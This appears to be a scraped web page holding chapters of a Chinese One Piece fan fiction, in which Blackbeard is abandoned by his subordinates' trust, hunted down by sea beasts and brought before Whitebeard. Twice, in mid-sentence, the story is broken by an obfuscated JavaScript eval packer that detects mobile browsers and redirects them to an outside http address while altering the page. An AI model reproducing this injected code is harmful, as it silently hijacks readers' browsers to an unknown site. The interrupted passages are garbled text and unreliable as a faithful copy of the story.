他张开双臂,仿佛在拥抱整个大海,拥抱这个他刚刚戏耍了“世界最强”的海域。海风吹拂着他乱糟糟的黑色卷发和浓密的胡子,也吹动着他身上那件与戴彭伪装时同款的黑色大衣,正品此刻毫不意外的正穿在他身上。 “看到了吗?”他对着船上仅有的三名核心干部发表着胜利的演讲,每一个字都浸透着算计得逞的愉悦: “所谓的‘世界最强’白胡子,还有他那些宝贝儿子们,也不过如此!被一群老子用钱和空头支票骗来的杂兵,再加上戴彭那个有点用处的女人,就老老实实地拖在了那个破岛上!白胡子的时代?贼哈哈哈……早就该落幕了!” 他用力拍了拍船舷,木质船板发出沉闷的响声。 “艾斯那个小鬼,命倒是硬得很,公开处刑都没弄死他。”蒂奇咂了咂嘴,眼中闪过贪婪与忌惮交织的光,“罗杰的儿子,烧烧果实……真是可惜啊。不过没关系,以后有的是机会。” 他转过身,面向大海深处,声音陡然拔高,充满了对未来的无尽野心: “可惜啊,艾斯,我的老队长,你还是太感情用事了!你以为带着白胡子全家老小来找我报仇,就能稳操胜券?用一群废物的命,加上一个有点用的能力者,换来我们全身而退……” 他舔了舔嘴唇,仿佛在品尝最美味的胜利果实。 “这买卖,太值了!贼哈哈哈——!!” 毒Q发出一阵虚弱的咳嗽,苍白浮肿的脸上挤出一个诡异的笑容:“嚯嚯嚯……提督英明……不过,戴彭她……能逃掉吗……?” “逃不掉又怎样?”蒂奇毫不在意地挥手,“一个能变身的能力者而已,虽然稀有,但也不是不可替代。只要老子还活着,这个世界……”他握紧拳头,眼中燃起近乎疯狂的火焰,“迟早都是老子的!” 范·奥卡冷静地推了推眼镜:“船长,前方海域安全,航线已避开主要贸易路线和海军巡逻区。预计七十二小时后抵达蜂巢岛的预定汇合点。” “很好!”蒂克用力拍了拍范·奥卡的肩膀——后者眉头都没皱一下,“保持这个速度!等甩掉白胡子那个老家伙,拿到我们该拿的东西……下一个时代,注定是我的时代!” 他忽然高举拳头,对着苍茫无垠的蓝天与大海,如同在进行最神圣的宣誓,声音因激动而微微颤抖,却又充满了不容置疑的狂妄: “听好了,这片大海!人的梦想,是永远不会终结的!!” 海风将他的话语送出很远,仿佛要传到世界尽头。 “而老子的梦想……这才刚刚开始!” 他深吸一口带着咸腥与自由气息的海风,胸腔因极致的得意与野心而剧烈起伏,最后,他用尽全身力气,对着天空嘶吼出那句他深信不疑的箴言: “我,马歇尔·蒂奇——是绝对不会死的!!!” “贼哈哈哈哈——!!!!!” 125.弃子的狂笑与落水狗 卡特琳娜·戴彭被海楼石锁链紧紧束缚,由两名身材魁梧的白团队员一左一右架着,几乎是拖行着来到莫比迪克号的主甲板上。 她的模样狼狈不堪。浓妆早已被汗水、灰尘和血迹糊成一团,猩红的唇膏晕染到腮边,像是被人狠狠揍了一拳后渗出的血。左眼肿得只剩一条缝,右脸颊有一道新鲜的擦伤。身后那条原本应该蓬松华美的狐狸尾巴,此刻湿漉漉地耷拉着,好几处毛被烧焦,脏兮兮的黏在一起。 但她似乎感觉不到疼痛,或者说,疼痛被更强烈的情绪覆盖了。 “放开我!你们这些白胡子的走狗!”戴彭嘶哑地叫嚣着,身体在海楼石锁链的压制下仍徒劳地扭动“等蒂奇提督来了……他会把你们全都……!” 她的叫嚣声在踏上莫比迪克号甲板的瞬间戛然而止,因为她的目光撞上了那个如山峦般屹立在船头的身影。 白胡子爱德华·纽盖特甚至没有转身。他只是微微侧过头,用眼角的余光扫了戴彭一眼。 只那一眼,戴彭感觉浑身的血液在刹那间冻结。生理性的寒意从尾椎骨猛地窜上头顶,让她头皮发麻,牙齿不受控制地开始打颤。架着她的两个队员明显感觉到她身体的重量陡然增加,她的膝盖软了。 那不是她想象中的白胡子。 在蒂奇的描述里,在顶上战争的报纸照片上,在无数关于“世界最强男人”日渐衰老的传闻中……白胡子应该是一个英雄迟暮、伤痕累累、靠着点滴和药物维持生命的老人。他的强大是过去的余晖,他的威严是纸老虎的咆哮,他的时代早已在海军总部的炮火中落幕。 可眼前这个人…… 他站在那里,背对着晨光,每一块肌肉都依然饱满贲张,皮肤下的生命力隔着老远都能感受到那股灼热的脉动。 最让戴彭窒息的是他的眼神,那不是愤怒,不是杀意,甚至不是轻蔑。 而是一种……近乎漠然的审视。就像一个人低头看着脚边嗡嗡叫的蚊虫。那眼神里没有任何情绪波动,却比任何情绪都更让人恐惧,那是不容置疑的、维度上的差距。 “不……不应该是这样的……”戴彭喉咙里挤出破碎的音节,身体抖得像风中的落叶,“提督说……他说……他说……” 她猛地摇头,试图驱散这令人绝望的认知。不对!蒂奇提督不会错!他一定还潜伏在附近,就在这混乱的战场某处,像毒蛇一样等待着给白胡子致命一击!对,一定是这样!他只是暂时利用我吸引火力,他会在最关键的时候出现,像英雄一样拯救我,然后我们一起…… 求生的渴望像溺水者抓住的最后一根稻草,在她疯狂闪烁的眼眸中燃烧。 艾斯站在几步之外,面色冷得像极地的寒冰。当戴彭的真面目暴露时,那艘小船早已消失在视野尽头,所有的线索都在他脑海中串联成一条清晰却令人暴怒的轨迹——他又被耍了。被那个阴险、狡诈、永远在算计的叛徒,又一次耍得团团转。 “快说!”艾斯上前一步,声音压抑得如同暴风雨前的低气压,每个字都带着火星,“黑胡子去哪了?!” 戴彭猛地闭上嘴,嘴唇抿成一条苍白的直线。她不再看白胡子,目光快速扫过甲板上的人,寻找着那个期许的身影 小狸靠了过来,蓝色的眼睛里充满了纯粹的好奇 “你的能力真有意思。”她的声音很轻,很平静,却让戴彭浑身一凛。那双猫儿眼里闪烁的,不仅仅是好奇,还有一种……评估。仿佛幼童在打量一件有趣且有用的新玩具。 小狸微微歪着头,仔细端详着这个女人脸上混合着恐惧、疯狂和最后一丝希望的表情。尤其是那双眼睛,那双即便在如此狼狈境地,依然闪烁着狡黠与求生欲的眼睛。 小狸忽然明白了什么,她慢慢蹲下身,声音依旧平静,甚至带着一丝近乎天真的困惑: “蒂奇已经跑了,你还不知道吧?” 戴彭的睫毛几不可察地颤动了一下。她没说话,但瞳孔深处那簇微弱的光芒,像风中的烛火般,摇曳、震颤了一瞬。 有戏。 小狸继续开口,语速平缓,像是在陈述一个再简单不过的事实:“一艘船,四个人,在战斗刚刚开始时就已经离开了。”她顿了顿,仔细观察着戴彭面部肌肉最细微的抽搐,“你被抛弃了。” 这句话像是一颗投入死水潭的石子。 不,不是石子,是烧红的铁钉,狠狠钉进了戴彭那根名为“信任”的、早已绷紧到极致的神经。 几乎在小狸话音落下的同时,一股极其细微的精神力量,如同纤细的蛛丝,小心翼翼地探入了戴彭混乱的脑海。这是小狸从未对人类使用过的,与动物沟通能力的反向延伸,是一种初级的、极不稳定的精神诱导。动物的思想单纯直接,如同清澈的溪流;而人类的思想则复杂混乱,如同暗流涌动的深海,小狸并没有把握自己能做到什么程度。 细丝轻柔地缠绕上戴彭的意识,然后,开始向其中注入细微的、带着催眠般回响的“声音”: 你被抛弃了……背叛……你是个弃子……不要再坚持了…… 他利用了你……就像利用所有人…… 没有人会来救你…… 原本还坚信着会有救援的戴彭却像是突然脑子一团乱麻,一个声音不断的在脑海中重复,她被抛弃了,她是个弃子,不要再坚持了 “不……不是……”戴彭猛地摇头,额头上渗出冷汗,努力对抗着脑海中的声音,眼神开始涣散,“提督他……他说过……我们是……” 谎言。 那声音斩钉截铁。 戴彭的呼吸陡然急促,胸口剧烈起伏。她眼中最后那点希望的光芒,如同风中残烛,在内外交攻下,疯狂地明灭、闪烁…… 然后。 “啪。” 理智的弦,断了。 “啊啊啊啊——!!!” 戴彭突然爆发出癫狂至极的尖笑,那笑声不再是模仿蒂奇的“贼哈哈哈”,而是尖锐刺耳、混杂着无尽怨恨与绝望的嘶嚎!她猛地仰起头,脖颈青筋暴起,整张脸因极致的情绪冲击而扭曲变形,眼泪、鼻涕和口水不受控制地涌出,混合着脸上的血污,肮脏又可怖。 小狸吓得尾巴炸毛,“嗖”地一下向后跳开,差点撞到身后的艾斯。她心虚地缩了缩脖子,耳朵紧贴头皮——完了完了,是不是自己玩脱了,把人家脑子搞坏了? 戴彭的笑声渐渐转为一种惨然、破碎的呜咽,又猛地拔高,变成咬牙切齿的嘶吼: “蒂奇!你把我……当成了戏台上的丑角!你把我的‘艺术’……当成了一次性的道具!!!” 她试图站起来,却因海楼石锁链和身体的伤势踉跄跌倒,又挣扎着用膝盖支撑起上半身。她的眼神涣散而狂乱,扫过周围一张张或冷漠、或愤怒、或怜悯的脸,最后又落到自己颤抖的双手上。 “结果我也只是‘弃子’吗?假的……都是假的!呣噜呼呼呼……”她发出怪异的、仿佛窒息般的笑声,眼泪混着血污滑落,“蒂奇……蒂奇你这个混蛋……你说我们是‘同类’……你说这是‘灵魂的晋升’……全都是……骗人的!!!” “噗——” 她猛地咳出一大口血。那血不是鲜红色,而是暗红色,似乎还夹杂着细小的、蠕动的不明物质。她的脸色瞬间灰败下去,皮肤下隐隐有诡异的黑色纹路浮现,那是蒂奇给她的“强化药”产生的致命反噬。 极致的怨恨,被背叛的绝望,加上药物带来的□□崩溃,让她残存的最后一点理智也焚烧殆尽。既然我活不下去了,那谁也别想好过! 她抬起头,用尽最后的力气,对着天空,对着大海,对着不知身在何处的蒂奇,发出最恶毒的诅咒与嘶喊: “他去蜂巢岛了!带着他真正的‘宝贝’!他想融合那些力量……想成为什么狗屁新神!做梦!我诅咒你!蒂奇!我诅咒你被自己的黑暗吞噬!烂在你那永无止境的野心里!就像你吞噬掉所有人的信任一样!!!” 艾斯和马尔科的脸色同时骤变。虽然早有预感,但亲耳从敌人口中证实蒂奇再次逃脱,且带着更危险的目的前往蜂巢岛,一股混合着怒火、急切与冰冷的寒意瞬间席卷了他们的全身。 戴彭却仿佛已经耗尽了所有生命,眼神彻底失去光彩,身体软软地瘫倒在地,只剩下嘴唇还在无意识地翕动,重复着黑胡子给她描绘的、如今看来无比讽刺的幻梦: “千面之神……千面之神……骗子……都是骗子……” 随即,她头一歪,彻底昏迷过去,只剩下胸口微弱的起伏证明她还活着。 甲板上陷入短暂的死寂。只有海浪拍打船体的声音,和海风中隐约的血腥味。 蜂巢岛……宝贝……融合…… 有了艾斯之前被蒂奇算计、险些丧命的“前车之鉴”,没有人敢轻易相信戴彭临崩溃前的话。这会不会是另一个陷阱?一次误导?蒂奇最擅长的就是把真相和谎言编织在一起,让人无法分辨。 所有人的目光,最终都投向了那个始终沉默的背影。 白胡子缓缓转过身。他的目光首先落在艾斯身上。看着自己这个二番队队长眼中那几乎要满溢出来的不甘、愤怒,以及深藏的、几乎成为心魔的执念,白胡子在心中轻轻叹了口气。 他知道,这件事如果不彻底解决,会像一根毒刺,永远扎在艾斯心里,也扎在整个白胡子海贼团的荣誉上。 “去吧。”白胡子的声音低沉而平稳,却带着不容置疑的分量,“你们几个,都和他一起去。” 他的目光扫过马尔科、乔兹、比斯塔、布拉克曼等一众队长。 “不行!”艾斯猛地抬头,“老爹!蜂巢岛情况不明,戴彭的话未必可信!万一……万一这根本就是个调虎离山,黑胡子的目标其实是您!我们不能所有人都离开!您身边必须留下足够的力量!” “混账小子!”白胡子一瞪眼,丛云切往甲板上重重一顿,“咚”的一声闷响让整个船体都微微一震,“难道老夫已经脆弱到,需要你们这群小辈时时刻刻围在身边当保姆了么?!你以为老子是谁?!” 他的怒气勃发,霸王色霸气不受控制地泄露出一丝,甲板上实力稍弱的队员顿时感到一阵窒息般的压迫。 艾斯还想梗着脖子争辩,马尔科已经一把按住了他的肩膀,用力将他往后拉了半步。作为一番队队长,他太了解老爹的脾气了。白胡子决定的事,尤其是涉及家人尊严和意志的事,绝无更改可能。此刻的争论不仅无效,反而可能真的激怒老爹。 “老爹的安全,自然是第一位的。”马尔科迅速开口,语气平稳却坚定,既是对白胡子说,也是对艾斯和其他队员说,“但是,蜂巢岛之行,也确实需要精锐力量。我们或许可以折中……” “那个……” 一个细细的、带着点犹豫的声音插了进来。 小狸举起了手,猫耳竖得笔直。见众人的目光瞬间集中到自己身上,她有些紧张地抿了抿嘴,尾巴在身后不安地小幅度摆动,但眼睛里却闪烁着一种前所未有的、混合着紧张与兴奋的光芒。 “我……我有个想法。”她深吸一口气,努力让自己的声音听起来更镇定些,“需要那谬尔队长配合我。所以……大家倒是不需要都去蜂巢岛。岛上的残局也要人收拾,伤员需要治疗,俘虏需要看管……” 她顿了顿,目光看向艾斯,又看向白胡子,最后落在马尔科身上,眼中的狡黠光芒越来越亮,像只发现了新奇玩具的小猫。 “我们开炎雀号去就好。”小狸说,语气里带着一种奇异的、仿佛已经看到结果的自信,“而且……也许我们能赶在他们真正抵达蜂巢岛之前,就‘追上’他们。” 艾斯愣住了,马尔科皱起眉。其他队长也露出疑惑的神情。只有那谬尔似乎想到了什么,若有所思地摸了摸下巴。 小狸没有多做解释,只是快步走到船舷边,双手扶住栏杆,闭上了眼睛。 海风吹拂着她的发丝和耳朵上的绒毛。她的意识,如同投入平静湖面的石子,漾开一圈圈无声的涟漪,以惊人的速度向深海扩散、蔓延。 她在“呼唤”。不是用声音,而是用那股与生俱来、又在果实能力影响下得到增强的、与其他生命共鸣的奇异波动。 深海之下,无数沉睡或游弋的庞然大物,在同一时刻,缓缓睁开了眼。 巨大的阴影从海沟深处升起,从珊瑚丛中滑出,从冰冷洋流中调转方向。 一场无声的、规模浩大的深海围猎,悄然展开。 而正站在颠簸小船上的黑胡子对这一切毫不知情。他正沉浸在对未来的野心中,发出志得意满的狂笑,对着苍茫大海宣告自己“绝对不会死”。 直到视力超群的范·奥卡第一个举起“千陆”,狙击镜后的瞳孔骤然收缩。 “提督……”他的声音罕见地失去了一贯的冷静,带上了一丝紧绷的震颤,“有船……速度非常快!正在接近!” 黑胡子脸上的笑容僵住了,他猛地扭头,顺着范·奥卡指的方向望去。 只见海天相接之处,一个黑点正以惊人的速度放大。白胡子的旗帜越来越清晰,流线型的船身仿佛贴着海面飞行,鼓满的风帆边缘甚至萦绕着不正常的流火与热气,艾斯正在不顾一切地催动能力,为炎雀号提供额外的推进力 “白胡子的旗?!怎么会?!”黑胡子脸上的血色瞬间褪尽,化为一片惨白,眼中的得意被难以置信的惊愕取代,“怎么可能这么快?!他们不应该被拖在岛上吗?!戴彭那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150907|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个没用的废物!!” 他的算计,出现了致命的、他此刻尚未完全理解的偏差。他低估了艾斯复仇的决心有多么炽烈,低估了炎雀号在艾斯能力加持下能达到的极限航速,更低估了小狸所能带来的、超越常识的追踪能力。 “巴沙斯!快调头!满舵!避开他们!!”黑胡子气急败坏地嘶吼,声音都变了调。暗暗果实的力量本能地在他双手涌动,漆黑的漩涡开始成型,试图制造大范围的黑暗帷幕干扰对方视线,或是掀起异常的海浪阻碍炎雀号的冲刺。 但,一切都太晚了。 炎雀号带着一往无前的决绝气势,已经冲进了肉眼可清晰辨别的距离。而站在前锋号船头最前端、几乎半个身子都悬在船舷外的,除了浑身燃烧着近乎实质的苍白怒火的艾斯,还有紧紧抓着他手臂、表情无比专注的小狸。 她的意识,此刻已与海面之下那些庞然大物完全同步。 就在黑胡子释放的黑暗帷幕即将扩散开来的前一秒—— 原本相对平静的蔚蓝海面,毫无征兆地、彻底地沸腾了! “轰隆隆——!!!” 不是海浪,而是巨物破水而出的恐怖闷响!巨大的、令人心悸的阴影从湛蓝的海水深处急速上浮。不止一头,无数形态各异、凶猛狰狞的巨型海兽仿佛接收到无声的集结号令,从四面八方浮现,那动物体征失去了往日的憨厚,似乎被她的情绪所感染,变得愤怒而狰狞,赤红的目光锁定了那艘渺小的小船,彻底封死了小船所有可能逃窜的方向。甚至还有密集的鲨鱼群鱼鳍划破水面,形成死亡的包围圈。 天罗地网。真正的、来自大海本身的天罗地网。 黑胡子的小船,在这突如其来、堪称天灾般的海兽大军面前,渺小得连一片落叶都不如。所有的算计、野心、狂言,在这一刻都显得如此可笑而苍白。 “不……不可能!为什么……这么多海兽怎么会听从……”黑胡子惊恐到极点的嘶吼被淹没在海兽的咆哮与巨浪的轰鸣中。他终于想起了关于白胡子海贼团那个可以降服海兽的猫耳少女的零星传闻,他想起岛上居民那可笑又粗糙的神像,他从未想过,这份能力能达到如此恐怖、如此规模的境地! 没有给他任何思考或反应的时间。 庞大的鲸鱼鲸张开了宛如深渊般的嘴,仅仅是吸了一口气。 无可抗拒的漩涡瞬间形成,黑胡子的小船如同被无形巨手攫住,打着旋被吸向那张布满嶙峋利齿的死亡之口! “不行,调不了头,船不受控制!!”巴沙斯疯狂转动船舵,引擎发出过载的悲鸣,但人类能做到的在自然伟力的面前毫无意义。 范·奥卡举起“千陆”,试图狙击海兽的眼睛,但船体剧烈颠簸,根本无法瞄准。 毒Q已经瘫倒在甲板上,咳出的血染红了船舷。 “贼哈哈……啊啊啊——!!”黑胡子的狂笑变成了绝望的惨嚎。他徒劳地释放黑暗,试图吞噬海浪,但在无尽的海水与绝对的力量差距面前,暗暗果实也显得无力。 下一秒,木料碎裂、龙骨折断的巨响刺破海空。黑胡子那艘被他寄予厚望的小船,在一瞬间被挤压、撕扯、拍击成无数碎片!残骸和木片在滔天白浪中四散飞溅。 “啊啊啊——!!” 四个人影惊叫着落水。海水瞬间淹没了他们。对于能力者而言,海水即是天敌,是剥离力量的囚笼。无力的窒息感和沉重的虚弱感瞬间缠绕住黑胡子的四肢百骸。他徒劳地挥舞着手臂,试图抓住一块漂浮的木板,身体却像绑了千钧巨石,无可挽回地向下沉去。嘴巴、鼻子、耳朵里灌满咸涩的海水,视野迅速被黑暗吞噬。暗暗果实的力量在接触到海水的刹那便彻底沉寂,仿佛从未存在过。 他要死了。像无数葬身大海的失败者一样,无声无息地溺毙在这片他梦想征服的蔚蓝深渊里。野心、梦想、成为“主宰”的幻梦……全都将在此终结。 就在意识即将彻底沉入黑暗的前一瞬,他模糊的视野边缘,似乎看到一道迅捷如鱼雷的灰蓝色身影,劈开纷乱的泡沫和木屑,正朝他急速游来。 是……幻觉吗? 那谬尔精准地游到正在下沉的黑胡子身边。鱼人族在海水中的灵活与力量展露无遗。他手中握着一条海楼石锁链,动作麻利地绕过黑胡子粗壮的脖颈、手臂、胸膛、双腿,飞快地打上死结,将他捆成一个动弹不得的“粽子”。然后,他单手抓住锁链,双腿猛地一摆,强大的推进力带着他和手中的“重物”破水而出,划出一道优美的弧线,稳稳落在已经减速靠近的炎雀号甲板上。 “噗——咳咳咳!呕——!!” 黑胡子像一摊烂泥般瘫在冰冷的木质甲板上,剧烈地咳嗽着,大口大口地呕出灌入胃里的海水。他浑身湿透,头发和胡子黏成一绺一绺。海楼石锁链紧贴皮肤,那冰冷而虚弱的感觉比海水更让他恐惧。他一时之间居然无法分辨自己是被从溺毙边缘救了回来,还是落入了比死亡更可怕的境地。 沉重的、带着灼热温度的脚步声,停在了他面前。 黑胡子勉强抬起沉重的眼皮,模糊的视线逐渐聚焦。 是那张他无比熟悉,总是带着没心没肺的傻笑、此刻却冰冷得没有一丝温度的年轻脸庞。 他的前队长——波特卡斯·D·艾斯。 艾斯蹲下身,动作缓慢,带着一种近乎仪式感的沉重。他周身的火焰已经平息,但那双黑色的眼眸深处,却仿佛有比火焰更加炽烈的东西在燃烧。那是沉淀了两年的恨,是目睹家人伤亡的痛苦,是背负罪责的自责,是无数次午夜梦回的梦魇,此刻终于找到了倾泻的出口。 他看着脚下这个狼狈不堪、如同落水狗般的男人。这个背叛了家人、引发顶上战争、害得老爹震怒、令无数伙伴流血牺牲、也让自己和小狸历经生死劫难的元凶。这个将野心建立在无数人痛苦之上,却口口声声说着“梦想”的叛徒。 艾斯缓缓地,一字一句地,将那句曾属于对方、被其视为信条的名言,用最平静、却也最冰冷的语调,掷还给他: “你的梦想……” 他顿了顿,目光如刀,刺入黑胡子因恐惧和虚弱而放大的瞳孔深处。 “到此为止了,蒂奇。” 话音落下,如同最终审判的锤音。 海风拂过炎雀号的甲板,吹散了残留的硝烟味,也吹动了艾斯额前垂落的黑发。他身后,小狸轻轻走了过来,尾巴无声地缠上他的手腕,带来一丝温暖的触感。更远处,那谬尔、丢斯,以及其他炎雀号上的队员静静伫立,目光复杂地看着甲板中央那个曾经掀起滔天巨浪、如今却如同死狗般瘫倒的叛徒。 大海依旧蔚蓝,天空依旧广阔。 只是有些人的时代,还未开始,便已仓皇落幕 126.审判与终结.上 海楼石锁链在莫比迪克号的甲板上拖行,发出沉重而刺耳的金属摩擦声。 马歇尔·蒂奇被粗重的链条捆得像一头待宰的牲畜,或者比那更糟。他的双手被反剪在身后,手腕处层层缠绕的锁链几乎勒进皮肉;双腿被并拢捆死,膝盖以下还额外加了一道箍,让他连跪姿都维持得踉跄不稳;脖颈上套着粗粝的项圈,一根更长的锁链从项圈延伸出来,握在乔兹那双覆盖着钻石的手掌中。每走一步,锁链的碰撞声和□□与甲板摩擦的闷响都像是在宣告他“提督”尊严的彻底崩碎。 他被拖行着,来到船头那片最开阔的甲板区域。夕阳的余晖倾泻而下,照在他湿透的大衣上,照在他肿胀青紫的脸上,也照在他此刻因恐惧而剧烈收缩的眼睛里。 甲板上早已站满了人。 不是战斗时的阵列,而是一种更肃穆、更沉重的包围。队长们站在最内圈,每一道目光都像钉子,将黑胡子钉在耻辱柱上。 外圈是各队的队员们。没有欢呼,没有咒骂,甚至没有窃窃私语。只有一片压抑的、几乎能听见心跳的沉默。他们看着这个曾经的伙伴,如今的叛徒,眼神复杂。 而当蒂奇的目光扫过海岸时,他的心脏几乎要从喉咙里跳出来。 被俘虏的黑胡子海贼团成员——那些他花费心血招揽、或是从推进城带出的凶恶海贼此刻大多被捆缚着丢在海岸上,垂头丧气,伤痕累累。他们眼中没有了往日的凶悍,只剩下恐惧与茫然。更远处,卡特琳娜·戴彭如同一具破碎的人偶,被安置在简易担架上,面如金纸,气息微弱,马尔科的青色火焰曾在她身上短暂停留,保住了她最后一口气,但也就仅此而已。 她是活生生的证据,证明蒂奇是如何冷酷地利用、然后抛弃同伴。 冷汗再次从蒂奇额角、脖颈、后背疯狂渗出,和还未干透的海水混合,让他整个人像是从水里捞出来又扔进冰窟。他能感觉到自己的手指在不受控制地颤抖,牙齿咯咯作响。那是一种他以为自己早已克服、却在重新面对白胡子时汹涌而回的、源自灵魂深处的恐惧。 乔兹在适当的位置停下,手腕一抖,锁链发出“哗啦”一声脆响。蒂奇被甩在坚硬的木质甲板上,撞击的剧痛让他闷哼一声,但他甚至没心思去感受疼痛。 因为他的正前方,那把巨大的、专属于船长的座椅上,白胡子爱德华·纽盖特正端坐着。 老人没有穿船长服,依旧是敞胸穿着一件斗篷。他一手搭在座椅扶手上,另一只手握着丛云切的长柄,刀柄轻点地面。他俯视着跪在脚下的蒂奇,脸上没有任何表情。没有愤怒,没有悲伤,没有失望,什么都没有。就像在看一个陌生人,或者一件没有生命的物体。 这种彻底的漠然,比任何怒火都让蒂奇胆寒。 “老……老爹……”蒂奇的声音干涩得像是砂纸摩擦喉咙,带着明显的颤音。他努力想抬起头,但脖颈上的锁链和内心的恐惧让他只能维持一个卑微的、几乎要匍匐在地的姿势。 白胡子没有说话。只是那样看着他。 甲板上的沉默持续了仿佛一个世纪。 直到马尔科打破了寂静。他走到白胡子身侧,低声汇报着什么,手里拿着一份刚刚通过电话虫汇总的文件。他的声音不大,但在绝对的安静中依然清晰可闻: “……已经联系了赏金猎人那边,他们愿意按市价七成收购这批‘货’。零零碎碎加起来超过七亿贝利。那边愿意预付一半定金,现金,不记名债券,或者等值物资都可以。”马尔科目光扫过海岸,说了一个可怕的天价数字。“至于蒂奇本人……”马尔科顿了顿,目光扫过地上瘫软如泥的黑胡子,“他的最新悬赏金是二十二亿四千七百万贝利。不过我们不会把他交出去。” 而站在外围的小狸,在听到马尔科报出那一连串数字时,琥珀色的猫眼瞬间瞪得滚圆,尾巴“唰”地一下竖得笔直。 “七……七亿贝利?!”她小声惊呼,爪子无意识地抓住了旁边艾斯的衣袖,指尖微微发抖,“只是……只是那些杂兵?!” 她突然想起那艘在深海围猎中被轻易撕碎的小船,想起当时一心只想抓住蒂奇,完全没考虑过“战利品”的问题。现在听到这天文数字,一股迟来且强烈的“亏大了”的感觉涌上心头。她皱着小脸,耳朵耷拉下来,尾巴懊恼地拍打着艾斯的腿侧。 “早知道……早知道就让海兽们轻一点了……”她小声嘟囔,“或者让那谬尔队长把他们都捞上来……哪怕多捞一个也好啊……” 艾斯感觉到衣袖上的力道,低头看到小狸那副“错失一个亿”的痛心表情,原本紧绷的心弦莫名松了一丝。他抬手,轻轻揉了揉她耷拉下来的猫耳。 “贪财猫。”他低声说,声音里带着一丝几乎听不出的笑意。 小狸鼓了鼓脸颊,把脸埋进他手臂蹭了蹭,试图掩饰自己的“财迷”本质,但那还在不甘心晃动的尾巴出卖了她。 甲板上的气氛因为这段插曲稍微松动了一丝,但很快又恢复了凝重。所有人的注意力,重新聚焦到白胡子和跪在他面前的蒂奇身上。 和白胡子海贼团此刻复杂却整体偏向轻松的氛围不同,蒂奇的内心只有一片冰冷的、不断下沉的绝望。他能感觉到周围那些目光,昔日的同伴,如今看他如同看一堆垃圾。但他不想死。他还有野心,还有梦想,还有那么多没掠夺到的力量! 能屈能伸,这是他在逃亡的童年和在白胡子船上潜伏二十多年学到的最重要的一课。 “呜……呜呜……”蒂奇忽然发出压抑的、仿佛从胸腔最深处挤出来的呜咽。他猛地以头抢地,额头重重磕在甲板上,发出“咚”的一声闷响。再抬头时,那张粗野的脸上已经涕泗横流,眼泪、鼻涕和口水混合着脸上的血污,糊成一团,肮脏又可悲。 “老爹……老爹啊!!!”他嘶声哭喊,声音因过度用力而破音,每一个字都带着令人作呕的谄媚与哀求,“我错了!我真的知道错了!是我鬼迷心窍!是我被野心蒙蔽了双眼!我不该背叛家人!不该伤害萨奇!不该引发顶上战争让那么多兄弟流血!老爹……您原谅我吧!求求您了!看在……看在我跟了您二十多年的份上!看在我从小就在您身边长大的份上!您就当我是个不懂事的孩子,再给我一次机会吧!老爹——!!!” 他哭得声嘶力竭,身体因为激动和恐惧而剧烈颤抖,锁链随着他的动作哐当作响。他努力仰起头,让那张涕泪横流的脸完全暴露在白胡子的视线下,试图用最卑微的姿态勾起对方哪怕一丝一毫的旧情。 白胡子看着脚下这个哭得不成人形的男人,心中五味杂陈。 蒂奇……不,马歇尔·D·蒂奇。洛克斯·D·吉贝克唯一的血脉。 这件事,白胡子是在顶上战争前,通过一些极其隐秘的渠道和零碎的线索,才逐渐拼凑出来的真相。那个曾经席卷世界、几乎颠覆一切的洛克斯海贼团船长的儿子在他白胡子的船上,隐藏了二十多年。 得知真相的那一刻,白胡子没有愤怒,只有一种深沉的疲惫和悲哀。他想起蒂奇刚上船时的样子——一个矮小、沉默、眼神总是躲闪的12岁少年。他不爱说话,总是一个人躲在角落,看着其他孩子嬉笑打闹。是萨奇最先注意到他,拉着他一起吃饭,一起玩闹,给他做樱桃派。 白胡子自问,对这孩子的关心或许不如对艾斯、马尔科他们那样外露,但他从未因为他的出身——无论是他自述的普通孤儿,还是后来得知的洛克斯之子而有丝毫区别对待。出身如何,父母是谁,对他来说毫无意义。在他心中,上了他的船,叫他一声老爹,就是他的孩子。他给予的爱,或许有方式的不同,但本质从未改变。他将蒂奇,如同其他所有登上莫比迪克号的孩子一样,毫无保留地纳入了自己那名为“家庭”的羽翼之下。 他以为,爱能填满所有空缺,温暖所有冰冷。 可他错了。有些黑暗,是与生俱来,深植骨髓的。有些野心,是连如海般宽广的父爱也无法驯服的野兽。 蒂奇精准地抓住这份柔软,哭嚎得更加凄切,语无伦次地诉说着往日的“孺慕之情”,回忆着白胡子曾给予的温暖,将一切罪责都归于“被野心蒙蔽”、“一时糊涂”。 “老爹!我真的知道错了!我愿意接受任何惩罚!我愿意永远留在船上做最苦最累的活!我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156034|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求您别赶我走!我只想回家啊老爹!这里才是我的家啊!!” 他太了解白胡子了。了解这个老人内心深处对“家庭”近乎偏执的渴望与守护。了解他那如大海般宽广、有时甚至显得盲目的包容。他知道,这是他现在唯一的救命稻草。 甲板上,白团的成员们依旧沉默着,冷漠地看着蒂奇的表演。他们的手按在武器上,身体紧绷,但没有一个人出声,没有一个人上前。所有人的目光都落在白胡子身上。 这件事,能做决定的,只有老爹一人。 他们深知老爹的脾气,深知他对家人的爱有多么深沉和毫无保留。这份爱纵容了他们的任性,庇护了他们的梦想,也给了像蒂奇这样的毒蛇潜伏的机会。他们理解老爹此刻内心的痛苦与挣扎,所以,任何人都无权开口。 白胡子深深地、深深地叹了一口气。 